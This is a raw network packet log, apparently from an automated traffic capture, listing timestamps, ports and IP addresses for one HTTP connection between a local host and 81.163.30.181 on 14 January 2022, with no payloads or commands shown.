Jan 14, 2022 20:29:58.372046947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372056961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372113943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372157097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372164011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372210979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372256041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372258902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372312069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372355938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372364044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372407913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372452974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372454882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372508049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372550964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372564077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372613907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372656107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372659922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372708082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372750998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372760057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372812986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372857094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372858047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372905016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.372947931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.372956991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373009920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373051882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373059988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373107910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373152971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373153925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373208046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373253107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373260021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373306990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373352051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373353958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373404980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373446941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373459101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373508930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373553038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373554945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373603106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373651981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373655081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373708963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373750925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373754978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373800993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373843908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.373878956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373934031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.373985052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374038935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374062061 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374092102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374095917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374141932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374195099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374202013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374259949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374305010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374306917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374361038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374408007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374413967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374459028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374505043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374512911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374556065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374600887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374609947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374660969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374707937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374711037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374757051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374804020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374810934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374865055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374911070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.374917030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.374963999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375010967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375014067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375066996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375116110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375123024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375173092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375220060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375222921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375264883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375310898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375319004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375370979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375420094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375418901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375467062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375516891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375529051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375571966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375622034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375626087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375674009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375720978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375720978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375773907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.375817060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.375828981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.417248964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.417310953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.417315006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.433928013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.433993101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434029102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434035063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434082031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434093952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434139013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434180975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434191942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434238911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434278011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434281111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434333086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434375048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434380054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434412956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434456110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434469938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434509993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434551954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434554100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434608936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434647083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434650898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434704065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434746027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434746981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434792995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434834003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434834003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434871912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434911966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434922934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.434952021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.434990883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435000896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435029984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435069084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435075045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435108900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435148954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435151100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435187101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435226917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435252905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435267925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435305119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435314894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435344934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435384035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435388088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435420990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435461044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435472012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435501099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435539961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435564041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435580015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435617924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435642004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435657024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435697079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435703039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435745001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435784101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435787916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435822964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435862064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.435873985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435921907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.435959101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436000109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436003923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436050892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436054945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436094999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436135054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436139107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436188936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436237097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436243057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436286926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436328888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436338902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436378002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436417103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436428070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436470032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436517000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436517000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436556101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436598063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436604977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436652899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436690092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436695099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436732054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436780930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436786890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436825991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436870098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.436880112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436923027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436973095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.436986923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437020063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437057018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437076092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437105894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437150955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437161922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437202930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437242985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437249899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437289000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437336922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437340021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437395096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437437057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437439919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437493086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437534094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437539101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437582970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437629938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437629938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437669039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437712908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437722921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437767029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437805891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437817097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.437874079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.437918901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.478050947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.478096962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.478173018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502311945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502365112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502404928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502420902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502444983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502490044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502501011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502545118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502583981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502589941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502638102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502684116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502685070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502723932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502763987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502765894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.502819061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502860069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502899885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502947092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.502996922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503037930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503076077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503127098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.503135920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503175020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.503181934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503220081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503258944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.503273010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503319025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503361940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503402948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503457069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503503084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503541946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503580093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503635883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503681898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503722906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503767967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503822088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503844023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.503859997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.503863096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503901958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.503954887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504002094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504041910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504082918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504142046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504174948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.504185915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504225016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504264116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504319906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504369974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504410028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504467010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504513025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504550934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504591942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504650116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504679918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.504689932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504705906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.504729033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504770041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504826069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504865885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504904032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.504945040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505000114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505032063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505039930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505054951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505079985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505134106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505178928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505218983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505256891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505284071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505312920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505321026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505357027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505393982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505397081 CET	49882	80	192.168.2.4	81.163.30.181
